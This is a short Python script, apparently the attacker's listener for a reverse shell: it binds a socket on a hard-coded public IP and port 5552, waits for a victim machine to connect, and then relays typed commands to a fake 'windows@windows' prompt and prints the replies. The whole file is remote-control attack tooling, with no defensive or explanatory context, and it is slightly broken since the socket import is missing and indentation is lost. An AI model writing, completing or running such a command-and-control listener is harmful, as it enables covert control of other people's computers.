import colorama
from colorama import Fore, Back, Style
colorama.init()
def main():
host = "193.151.234.81"
port = 5552 # порт
s = socket.socket()
s.bind((host,port))
s.listen(1)
print(Fore.RED + "Listening port 5552")
connection, address = s.accept()
print(Fore.WHITE + "Connection " + str(address))
while True:
try:
print(Fore.BLUE)
toSend = input("windows@windows: ")
connection.send(toSend.encode())
data = connection.recv(1024).decode()
print(data)
except:
break
print("Connection refused")
connection.close()
if __name__ == '__main__':
main()